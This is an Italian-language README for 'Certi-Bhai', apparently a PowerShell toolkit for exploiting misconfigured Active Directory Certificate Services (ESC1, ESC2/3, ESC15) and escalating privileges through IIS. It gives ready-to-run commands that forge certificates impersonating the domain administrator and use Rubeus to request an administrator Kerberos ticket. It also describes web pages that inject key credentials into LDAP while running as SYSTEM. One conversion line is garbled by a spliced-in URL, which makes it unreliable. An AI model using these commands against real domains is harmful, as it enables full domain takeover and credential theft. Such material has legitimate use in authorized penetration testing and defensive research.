Certi-Bhai: Toolkit per lo Sfruttamento di AD CS

Certi-Bhai è una raccolta completa di strumenti di sfruttamento PowerShell per attaccare le vulnerabilità dei Servizi Certificati di Active Directory (AD CS). Questo toolkit implementa vari Scenari di Escalation (ESC) che dimostrano configurazioni di sicurezza critiche errate negli ambienti ADCS.

📋 Indice

• Panoramica
• Struttura delle Directory
• Prerequisiti
• Guida all'Utilizzo
  • ESC1 - Modello di Certificato Eccessivamente Permissivo
  • ESC2/3 - Agente di Richiesta Certificati
  • ESC15 - Registrazione Web Vulnerabile
  • Generazione CSR
  • Escalation dei Privilegi IIS

🎯 Panoramica

I Servizi Certificati di Active Directory (AD CS) sono spesso configurati in modo errato, creando molteplici vettori di attacco. Certi-Bhai fornisce script di sfruttamento pratici e utilità per test di sicurezza e ricerca sulle vulnerabilità comuni di ADCS.

Utilizzare in modo responsabile e solo in ambienti di test autorizzati.

✅ Prerequisiti

• Windows 7 / Windows Server 2008 o successivo
• PowerShell 3.0+
• Sistema appartenente al dominio Active Directory
• Permessi appropriati per richiedere certificati
• Accesso all'infrastruttura AD CS
• .NET Framework 3.5+ (per script ASP.NET)

Moduli Richiesti

# Modulo Active Directory (opzionale, per funzionalità avanzate)
Import-Module ActiveDirectory

🚀 Guida all'Utilizzo

ESC1: Modello di Certificato Eccessivamente Permissivo

Vulnerabilità: I modelli di certificato consentono la registrazione con valori SubjectAltName (SAN) arbitrari.

Cosa fa: Crea un certificato firmato da un modello eccessivamente permissivo, consentendo di impersonare qualsiasi utente o computer nel dominio.

Utilizzo:

# Navigare nella directory ESC1
cd ESC1

# Eseguire lo script di sfruttamento
.
\esc1.ps1 -subjectName "CN=administrator,CN=Users,DC=indishell,DC=lab" `
           -templateName "vuln" `
           -altName "administrator" `
           -pfxPass "password123"

Parametri:

• -subjectName: Nome distinto (DN) completo dell'utente target
• -templateName: Nome del modello di certificato vulnerabile
• -altName: Nome alternativo da richiedere (nome utente/computer)
• -pfxPass: Password per l'esportazione PFX

Output: Certificato PFX codificato in Base64 per l'uso con strumenti come Rubeus

Video Tutorial: https://www.youtube.com/watch?v=l0gMw_mO4dw

ESC2/3: Abuso dell'Agente di Richiesta Certificati per Qualsiasi Scopo

Vulnerabilità: Gli Agenti di Richiesta Certificati possono richiedere certificati per conto di qualsiasi utente.

Cosa fa: Registra un certificato come Agente di Richiesta Certificati, quindi richiede certificati per principal arbitrari.

Utilizzo:

# Navigare nella directory ESC3
cd ESC3

# Eseguire lo script di sfruttamento
.
\esc3_working.ps1 -templateName "CEOTemplate" `
                   -target_user "administrator" `
                   -domain "INDISHELL" `
                   -pfxPass "password123"

Parametri:

• -templateName: Modello vulnerabile dell'agente di richiesta
• -target_user: Principal per cui richiedere il certificato
• -domain: Nome del dominio
• -pfxPass: Password PFX

Output: Certificato amministratore (PFX) con codifica base64

Video Tutorial: https://www.youtube.com/watch?v=fGjrM-JKnoM

ESC15: Modello con Schema Versione 1 Configurato Erroneamente

Vulnerabilità: Iniezione di Application Policy.

Generazione e Gestione CSR

Generazione Rapida CSR

cd CSR_Generate

# Generare una richiesta di firma certificato
.
\csr_short.ps1 -subjectName "CN=admin,CN=Users,DC=domain,DC=local" `
                -altName "admin"

Invio CSR all'Autorità di Certificazione

# Invio CSR alla CA
.
\csr_submit.ps1 -csr $csr `
                 -templateName "User" `
                 -caServer "ca-server.domain.local"

Escalation dei Privilegi IIS

Interfaccia di Gestione Certificati

L'interfaccia web cert.aspx fornisce un modulo intuitivo per richiedere un certificato dall'endpoint RPC di AD CS:

http://your-iis-server/cert.aspx

Interfaccia di Aggiornamento LDAP

Modificare gli attributi LDAP tramite l'interfaccia web. Questo script viene fondamentalmente utilizzato per eseguire l'iniezione di blob nell'attributo msDS-KeyCredentialLink:

http://your-iis-server/ldap_update.aspx

Caratteristiche:

• Filtraggio degli attributi LDAP
• Capacità di modifica degli oggetti
• Esecuzione nel contesto di NT Authority\SYSTEM

Comandi di Riferimento Rapido

Per lo Sfruttamento ESC1

.
\ESC1/esc1.ps1 -subjectName "CN=admin,CN=Users,DC=indishell,DC=lab" `
                -templateName "User" `
                -altName "administrator" `
                -pfxPass "P@ssw0rd!"

Per la Post-Sfruttamento ESC2/3

# Convertire PFX in formato utilizzabile per Rubeus
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("cert.pfx", "password")
[Convert]:https://raw.githubusercontent.com/incredibleindishell/certi-bhai/main/:ToBase64String($cert.RawData)

Richiedere TGT con Rubeus

Rubeus.exe asktgt /user:administrator /certificate:$base64cert /nowrap

🔧 Risoluzione dei Problemi

Problemi Comuni

D: L'esecuzione dello script è bloccata

# Eseguire PowerShell come Amministratore
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

D: Modello di certificato non trovato

• Verificare che il nome del modello sia corretto
• Assicurarsi di avere i permessi per richiedere dal modello
• Controllare i log dell'Autorità di Certificazione

D: La connessione LDAP fallisce

• Verificare la connettività del dominio
• Controllare le credenziali
• Confermare l'accesso ADSI

📝 Dettagli Tecnici

Processo di Richiesta Certificato

1. Generare chiave privata (RSA a 2048 bit)
2. Creare la richiesta di certificato (PKCS#10)
3. Impostare nome soggetto ed estensioni
4. Inviare all'Autorità di Certificazione
5. Recuperare il certificato emesso
6. Esportare come PFX con password

🤝 Contributi

Hai trovato un problema o hai miglioramenti? Segnalalo in modo responsabile.